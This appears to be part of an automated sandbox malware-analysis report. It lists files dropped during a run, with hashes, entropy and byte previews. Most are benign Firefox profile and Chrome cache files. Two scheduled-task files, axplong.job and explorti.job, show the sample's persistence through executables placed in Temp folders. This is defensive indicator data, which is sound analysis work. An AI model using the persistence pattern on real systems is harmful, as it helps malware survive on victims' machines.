Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14081
Entropy (8bit):	5.467175111038274
Encrypted:	false
SSDEEP:	192:HnTFTRRUYbBp6RLZNMGaXc6qU4dSzy+/3/7EF5RYiNBw8dhSl:zKeYFNMTWSyCwdwe0
MD5:	41C52E188B5464024F53DC7293F0A276
SHA1:	2B757658DAA251E1B1C0F0AC0607E523B7794DDD
SHA-256:	B92895649F395C11BD5DA82BF5FFA1F02CE6B1886D01281E71B878B865AA40B3
SHA-512:	BFC76B202168AB8F4B67DE7C1B6C119C82B55EA034FE3D667D2CF54E04E8E0EF95B3FD150B229471876995442F7E6979A6FB8F67FADF0CB491FD232783F38C1E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721989370);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721989370);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1721989370);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 169648

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14081
Entropy (8bit):	5.467175111038274
Encrypted:	false
SSDEEP:	192:HnTFTRRUYbBp6RLZNMGaXc6qU4dSzy+/3/7EF5RYiNBw8dhSl:zKeYFNMTWSyCwdwe0
MD5:	41C52E188B5464024F53DC7293F0A276
SHA1:	2B757658DAA251E1B1C0F0AC0607E523B7794DDD
SHA-256:	B92895649F395C11BD5DA82BF5FFA1F02CE6B1886D01281E71B878B865AA40B3
SHA-512:	BFC76B202168AB8F4B67DE7C1B6C119C82B55EA034FE3D667D2CF54E04E8E0EF95B3FD150B229471876995442F7E6979A6FB8F67FADF0CB491FD232783F38C1E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721989370);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721989370);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1721989370);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 169648

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6884 bytes
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	6.3486619568533085
Encrypted:	false
SSDEEP:	48:2p4yG/eU7eMBlWwuWUM8sKwyUgKXTEjNRhw:9PaMnjuWUMea9YjDhw
MD5:	4E81BC211BB42DF1F05AF5904F15D78F
SHA1:	EA70935EF6DCA6F9687FA87EA4DD81AE66A856C2
SHA-256:	1ACE5EB4D5F9F8C499994F4A44B0DE731A3FE695C9528CE017FE7427ACBFA200
SHA-512:	C2B31CFB708FBB61D9F50E1213FA0ADAABE32541F1A19E59B5FBF7D54B89683DEB96B5F58052C77D50833617CB0284492165B6BE6818ED93CB46120CA980C7D7
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":6,"docshellUU...D"{bde9d539-3be4-4de6-923b-96b632c593a7}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1721989343559,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imagu...chrome://global/skin/icons/warning.svg"},..^.8E......cf0620a8-89f4-4058-b6e1-10247c9e9302}...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==2.^.92.._611822...143...7c140326-c700-4815-ab25-c91cb1d4ec233../154..o5387944...],"select...3,"_closedT_.@],"_5..C..aGroupCG..:-1,"busy3......Flags":2167541758...dth":116....eight":891,"screenX":4...Y..Aizem\|.."normal"...BeforeMinimiz...#..workspace....46f3a197-db49-410a-81b3-94975c835573","z...1#.....Wl...........i..4....1":{U.eUpdateS.....startTim..@33355..recentCrash=.B0},"...I.Dcook.. ho...."addons.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6884 bytes
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	6.3486619568533085
Encrypted:	false
SSDEEP:	48:2p4yG/eU7eMBlWwuWUM8sKwyUgKXTEjNRhw:9PaMnjuWUMea9YjDhw
MD5:	4E81BC211BB42DF1F05AF5904F15D78F
SHA1:	EA70935EF6DCA6F9687FA87EA4DD81AE66A856C2
SHA-256:	1ACE5EB4D5F9F8C499994F4A44B0DE731A3FE695C9528CE017FE7427ACBFA200
SHA-512:	C2B31CFB708FBB61D9F50E1213FA0ADAABE32541F1A19E59B5FBF7D54B89683DEB96B5F58052C77D50833617CB0284492165B6BE6818ED93CB46120CA980C7D7
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":6,"docshellUU...D"{bde9d539-3be4-4de6-923b-96b632c593a7}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1721989343559,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imagu...chrome://global/skin/icons/warning.svg"},..^.8E......cf0620a8-89f4-4058-b6e1-10247c9e9302}...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==2.^.92.._611822...143...7c140326-c700-4815-ab25-c91cb1d4ec233../154..o5387944...],"select...3,"_closedT_.@],"_5..C..aGroupCG..:-1,"busy3......Flags":2167541758...dth":116....eight":891,"screenX":4...Y..Aizem\|.."normal"...BeforeMinimiz...#..workspace....46f3a197-db49-410a-81b3-94975c835573","z...1#.....Wl...........i..4....1":{U.eUpdateS.....startTim..@33355..recentCrash=.B0},"...I.Dcook.. ho...."addons.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6884 bytes
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	6.3486619568533085
Encrypted:	false
SSDEEP:	48:2p4yG/eU7eMBlWwuWUM8sKwyUgKXTEjNRhw:9PaMnjuWUMea9YjDhw
MD5:	4E81BC211BB42DF1F05AF5904F15D78F
SHA1:	EA70935EF6DCA6F9687FA87EA4DD81AE66A856C2
SHA-256:	1ACE5EB4D5F9F8C499994F4A44B0DE731A3FE695C9528CE017FE7427ACBFA200
SHA-512:	C2B31CFB708FBB61D9F50E1213FA0ADAABE32541F1A19E59B5FBF7D54B89683DEB96B5F58052C77D50833617CB0284492165B6BE6818ED93CB46120CA980C7D7
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":6,"docshellUU...D"{bde9d539-3be4-4de6-923b-96b632c593a7}","resultPrincipalURI":null,"hasUserInteract....false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1721989343559,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..p0,"imagu...chrome://global/skin/icons/warning.svg"},..^.8E......cf0620a8-89f4-4058-b6e1-10247c9e9302}...referrerInfo":"BBoSnxDOS9qmDeAnom1e0A...w..$EY.....0BAQ..oABAA==2.^.92.._611822...143...7c140326-c700-4815-ab25-c91cb1d4ec233../154..o5387944...],"select...3,"_closedT_.@],"_5..C..aGroupCG..:-1,"busy3......Flags":2167541758...dth":116....eight":891,"screenX":4...Y..Aizem\|.."normal"...BeforeMinimiz...#..workspace....46f3a197-db49-410a-81b3-94975c835573","z...1#.....Wl...........i..4....1":{U.eUpdateS.....startTim..@33355..recentCrash=.B0},"...I.Dcook.. ho...."addons.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4411
Entropy (8bit):	5.008261701707077
Encrypted:	false
SSDEEP:	48:YrSAYDXHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfAcbyJF4:ycLCTEr5NfJzzcBvbw6Kkvrc2Rn27
MD5:	5B576AE6EDB532B42159507F19D16EFE
SHA1:	F93672AE4296E0B6A323ABD24C9AA25D8505CA5C
SHA-256:	4A1831C6A68B1BBEEABBE32B44137A01ECD696EDB259366F816FECDC9B6BBD65
SHA-512:	7925435AE18A066C083A5FC703C125F10A537F9D21A28C67D772122AFC9656C7C069FB9384681B5268F66DA6DC16AEF5CAEDE7D03AB7090D03FFE4782846FB6B
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-07-26T10:23:03.622Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4411
Entropy (8bit):	5.008261701707077
Encrypted:	false
SSDEEP:	48:YrSAYDXHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfAcbyJF4:ycLCTEr5NfJzzcBvbw6Kkvrc2Rn27
MD5:	5B576AE6EDB532B42159507F19D16EFE
SHA1:	F93672AE4296E0B6A323ABD24C9AA25D8505CA5C
SHA-256:	4A1831C6A68B1BBEEABBE32B44137A01ECD696EDB259366F816FECDC9B6BBD65
SHA-512:	7925435AE18A066C083A5FC703C125F10A537F9D21A28C67D772122AFC9656C7C069FB9384681B5268F66DA6DC16AEF5CAEDE7D03AB7090D03FFE4782846FB6B
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-07-26T10:23:03.622Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\xulstore.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	138
Entropy (8bit):	4.508320854687134
Encrypted:	false
SSDEEP:	3:YGNDhK6c2us1pNGHfYS8dJ8KgfHVEBQulvhJBAuqRrHvN+M4fHhY:YGNTG/SJ8Kgf1Epv54rH0vHhY
MD5:	3D077488383DEAFEC70CCB166831D6F9
SHA1:	86CEAB4DE0AA8937A5AB50CE230C8F8335687B04
SHA-256:	D7AD2ADEBD1FD25B9A749DF2AF8E8FC4185CBBDDF321C07D07FD34C240FDE8CE
SHA-512:	C70A8F7D761DAFA78F38335B4714376C1348C7C781E3D6C98E93481A3469EE5E34D3AA10F4D78C1C48C8CB5C903677E8A74A733299150F8EB3996A64979FF51B
Malicious:	false
Preview:	{"chrome://browser/content/browser.xhtml":{"main-window":{"sizemode":"normal","screenX":"4","screenY":"4","width":"1164","height":"891"}}}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\xulstore.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	138
Entropy (8bit):	4.508320854687134
Encrypted:	false
SSDEEP:	3:YGNDhK6c2us1pNGHfYS8dJ8KgfHVEBQulvhJBAuqRrHvN+M4fHhY:YGNTG/SJ8Kgf1Epv54rH0vHhY
MD5:	3D077488383DEAFEC70CCB166831D6F9
SHA1:	86CEAB4DE0AA8937A5AB50CE230C8F8335687B04
SHA-256:	D7AD2ADEBD1FD25B9A749DF2AF8E8FC4185CBBDDF321C07D07FD34C240FDE8CE
SHA-512:	C70A8F7D761DAFA78F38335B4714376C1348C7C781E3D6C98E93481A3469EE5E34D3AA10F4D78C1C48C8CB5C903677E8A74A733299150F8EB3996A64979FF51B
Malicious:	false
Preview:	{"chrome://browser/content/browser.xhtml":{"main-window":{"sizemode":"normal","screenX":"4","screenY":"4","width":"1164","height":"891"}}}

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\AppData\RoamingBKJEGDGIJE.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.4166937067973344
Encrypted:	false
SSDEEP:	6:X5XlXUEZ+lX1lOJUPelkDdtE9+AQy0l1XJEt0:11Q1lOmeeDs9+nV1qt0
MD5:	8F3744E4FC3170B5680DA5AD7915CB74
SHA1:	11C7DA33ED189439E2314B92839EE57716A836C1
SHA-256:	709F9F8436FB6E2A34156198F7146D93541D5BA67AEA5AEFE27B342E29E90397
SHA-512:	9FF6FE7880FCC28E9982CE98D8CFAD4885B83587D43F1D4A3362989ABB4B0ED5FF65827FFB1D32ADC88263AC9005BBEA30FC873E55A08E620EF2E9C4D4C02C4C
Malicious:	false
Preview:	.....n.%h.G..G...:gF.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................%.@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\RoamingIJEGDBGDBF.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.414984306422116
Encrypted:	false
SSDEEP:	6:b2E/DZXaXUEZ+lX1cI1l6lm6tE9+AQy0l1XJEt0:plaQ1cagQ9+nV1qt0
MD5:	8FF234E78591C917F77555BF6A400515
SHA1:	BD677E15E99FA6C135C14E2EB7B37A30686C932B
SHA-256:	98FB90EBCACCEAA0AF4DF73446CA6878DB58FEC090EB2E65240730E0F23013B1
SHA-512:	86DE5B393590C454B61DCAEF2BF54D72E965F6378EEF0E3F5209C13373648A43EC4580454E33733BF83F7C32AE8C8C691335956F28EF69DA5DC195559571FB2C
Malicious:	false
Preview:	.....2nn.]9M..8.(]fVF.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................%.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.47111078138573
Encrypted:	false
SSDEEP:	6144:9zZfpi6ceLPx9skLmb0fmZWSP3aJG8nAgeiJRMMhA2zX4WABluuNmjDH5S:VZHtmZWOKnMM6bFpkj4
MD5:	6B9D8AFF8DC2F0A387CDF8EAE8B15EEB
SHA1:	11F05FB42BF98F1E5B1D3744636000202F2DDA6A
SHA-256:	7491EF96D6A9972EC0B0EA9876847E7BFD0C275305E3422BE2C9954C47082ECC
SHA-512:	C775349476EBC4977E3822EBDC58B771678EF20B459422499ABFD7E86894009839E2DDAA639FAE03AE44377DBB51E2FFA73A4A10F56FDBC3E42B379C53A16919
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>2..6...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3870)
Category:	dropped
Size (bytes):	19255
Entropy (8bit):	5.364867158179471
Encrypted:	false
SSDEEP:	384:HRkXOVgC/VLdRG6GBSm7FWiKaOOm9+4QXTHYkmwVYTP:HF/VLdR78Ka7c+RXEkmwVmP
MD5:	6FBAE595D6B4E51116DF0CD2C8E84800
SHA1:	A4FFFF9BD93F25472A2113F43166BF9720973214
SHA-256:	D668BAC6FC08E608CF3C658FA28675D214E7CFEB8D50D01AD3B9E9DAD740AE04
SHA-512:	7FDB4D20C820D2E62C9AA3E68F48823C3B9F0C4D4E32426E6DECAB6D706BEE4B17242F7179CCB69F27A5D8B8DB02D8924C876945CDE6C10BBA29DF7E110C138F
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var QDa=_.ea.URL,RDa,SDa,UDa,TDa;try{new QDa("http://example.com"),RDa=!0}catch(a){RDa=!1}SDa=RDa;.UDa=function(a){var b=_.qh("A");try{_.tb(b,new _.eb(a));var c=b.protocol}catch(e){throw Error("tc`"+a);}if(c===""\|\|c===":"\|\|c[c.length-1]!=":")throw Error("tc`"+a);if(!TDa.has(c))throw Error("tc`"+a);if(!b.hostname)throw Error("tc`"+a);var d=b.href;a={href:d,protocol:b.protocol,username:"",password:"",hostname:b.hostname,pathname:"/"+b.pathname,search:b.search,hash:b.hash,toString:function(){return d}};TDa.get(b.protocol)===b.port?(a.host=a.hostname,a.port="",a.origin=a.protocol+"//"+a.hostname):.(a.host=b.host,a.port=b.port,a.origin=a.protocol+"//"+a.hostname+":"+a.port);return a};._.VDa=function(a){if(SDa){try{var b=new QDa(a)}catch(d){throw Error("tc`"+a);}var c=TDa.get(b.protocol);if(!c)throw Error("tc`"+a);if(!b.hostname)throw Error("tc`"+a);b.origin=="null"&&(a={href:b.hre

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (467)
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	5.260345898889179
Encrypted:	false
SSDEEP:	48:o7ub/H/L3AhqFAZFBs/yX7YOLTfa/3t/r2KPd9rw:oGLPFAZOepLjCbdhw
MD5:	965251E85606E12B7FE488DF4BDA9E41
SHA1:	86FDDE31EDB4783251031B8E8642E24B50777AD4
SHA-256:	32335928B673A493B08917B9E65B6F0675677178677967BB6F5E711437D2DC1D
SHA-512:	AA77C85915F0D27CCB908465CFD731CD2AEC49814C54259B42B1C5E457688097853A47D0ADFD40F75E3EFECDD26B117854946D7760ACFE931212A4BA418606D7
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("iAskyc");._.CZ=function(a){_.J.call(this,a.Fa);this.window=a.Da.window.get();this.Hc=a.Da.Hc};_.B(_.CZ,_.J);_.CZ.Ma=_.J.Ma;_.CZ.Ba=function(){return{Da:{window:_.hr,Hc:_.OC}}};_.CZ.prototype.wo=function(){};_.CZ.prototype.addEncryptionRecoveryMethod=function(){};_.DZ=function(a){return(a==null?void 0:a.Gq)\|\|function(){}};_.EZ=function(a){return(a==null?void 0:a.Qda)\|\|function(){}};_.FZ=function(a){return(a==null?void 0:a.oo)\|\|function(){}};._.MDb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.NDb=function(a){setTimeout(function(){throw a;},0)};_.CZ.prototype.EK=function(){return!0};_.er(_.Hl,_.CZ);._.m();._.k("ziXSP");.var d_=function(a){_.CZ.call(this,a.Fa)};_.B(d_,_.CZ);d_.Ma=_.CZ.Ma;d_.Ba=_.CZ.Ba;d_.prototype.wo=function(a,b,c){var d;

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (777)
Category:	dropped
Size (bytes):	1481
Entropy (8bit):	5.291815056371216
Encrypted:	false
SSDEEP:	24:kMYD7x/w0oDaqcN7JY2t+/qbK9mByobhzdPsH0jP+k4O6kD6XvSGbLarGbsSFa2K:o7xI0oDaNDbKABxb/P4034ORmXvSGb2B
MD5:	254DB16C9A412F10AB708421E50227C1
SHA1:	AD902BE5362E8A5EE6230A5CA88809A2853B33C7
SHA-256:	B3DF14F74DCA24EDAF2D5ADD6F9D4D49548E0A5A8E51D68EDB67AC186937992E
SHA-512:	38074034F323E72F73D1A8D1AE84B0847F80FFE1BBBC0632ED83E0512A4B2394F4296DC9F3B8EB20B0091C066C1E45EC22CF5310DF46D3D0AF94F634E6550844
Malicious:	false
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("kMFpHd");._.oXa=new _.Pe(_.Qk);._.m();._.k("bm51tf");.var rXa=!!(_.hg[0]>>28&1);var tXa=function(a,b,c,d,e){this.ea=a;this.wa=b;this.ja=c;this.Ca=d;this.Ga=e;this.aa=0;this.da=sXa(this)},uXa=function(a){var b={};_.Na(a.ZO(),function(e){b[e]=!0});var c=a.zO(),d=a.OO();return new tXa(a.vL(),c.aa()1E3,a.iO(),d.aa()1E3,b)},sXa=function(a){return Math.random()Math.min(a.waMath.pow(a.ja,a.aa),a.Ca)},RE=function(a,b){return a.aa>=a.ea?!1:b!=null?!!a.Ga[b]:!0};var SE=function(a){_.J.call(this,a.Fa);this.Lc=null;this.ea=a.Da.cS;this.ja=a.Da.metadata;a=a.Da.cba;this.da=a.ea.bind(a)};_.B(SE,_.J);SE.Ma=_.J.Ma;SE.Ba=function(){return{Da:{cS:_.pXa,metadata:_.oXa,cba:_.iXa}}};SE.prototype.aa=function(a,b){if(this.ja.getType(a.Fd())!=1)return _.al(a);var c=this.ea.aa;return(c=c?uXa(c):null)&&RE(c)?_.Vua(a,vXa(this,a,b,c)):_.al(a)};.var vXa=function(a,b,c,d){return c.then(function(e)

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52280, version 1.0
Category:	dropped
Size (bytes):	52280
Entropy (8bit):	7.995413196679271
Encrypted:	true
SSDEEP:	1536:1rvqtK8DZilXxwJ8mMwAZy7phqsFLdG3B4d:xytBZits8bw4wzbFxG3B4d
MD5:	F61F0D4D0F968D5BBA39A84C76277E1A
SHA1:	AA3693EA140ECA418B4B2A30F6A68F6F43B4BEB2
SHA-256:	57147F08949ABABE7DEEF611435AE418475A693E3823769A25C2A39B6EAD9CCC
SHA-512:	6C3BD90F709BCF9151C9ED9FFEA55C4F6883E7FDA2A4E26BF018C83FE1CFBE4F4AA0DB080D6D024070D53B2257472C399C8AC44EEFD38B9445640EFA85D5C487
Malicious:	false
Preview:	wOF2.......8.....................................^...$..4?HVAR..?MVAR9.`?STAT.',..J/.......`..(..Z.0..R.6.$.... .....K..[..q..c..T.....>.P.j.`.w..#...%......N.".....$..3.0.6......... .L.rX/r[j.y.\|(.4.%#.....2.v.m..-..%.....;-.Y.{..&..O=#l@...k..7g..ZI...#.Z./+T..r7...M..3).Z%.x....s..sL..[A!.51w'/.8V..2Z..%.X.h.o.).]..9..Q`.$.....7..kZ.~O........d..g.n.d.Rw+&....Cz..uy#..fz,(.J....v.%..`..9.....h...?O..:...c%.....6s....xl..#...5..._......1.>.)"U.4 W....?%......6//!$...!.n9C@n...........!""^.....W..Z<.7.x.."UT.T....E.."R>.R..t.....H d..e_.K../.+8.Q.P.ZQ....;...U....]......._.e......71.?.7.ORv.?...l...G\|.P...\|:...I.X..2.,.L........d.g.]}W#uW]QnuP-s.;.-Y.....].......C..j_.M0...y.......J..........NY..@A...,....-.F......'..w./j5g.vUS...U..0.&...y7.LP.....%.....Y......Y..D. e.A..G.?.$.......6...eaK.n5.m...N...,...+BCl..L> 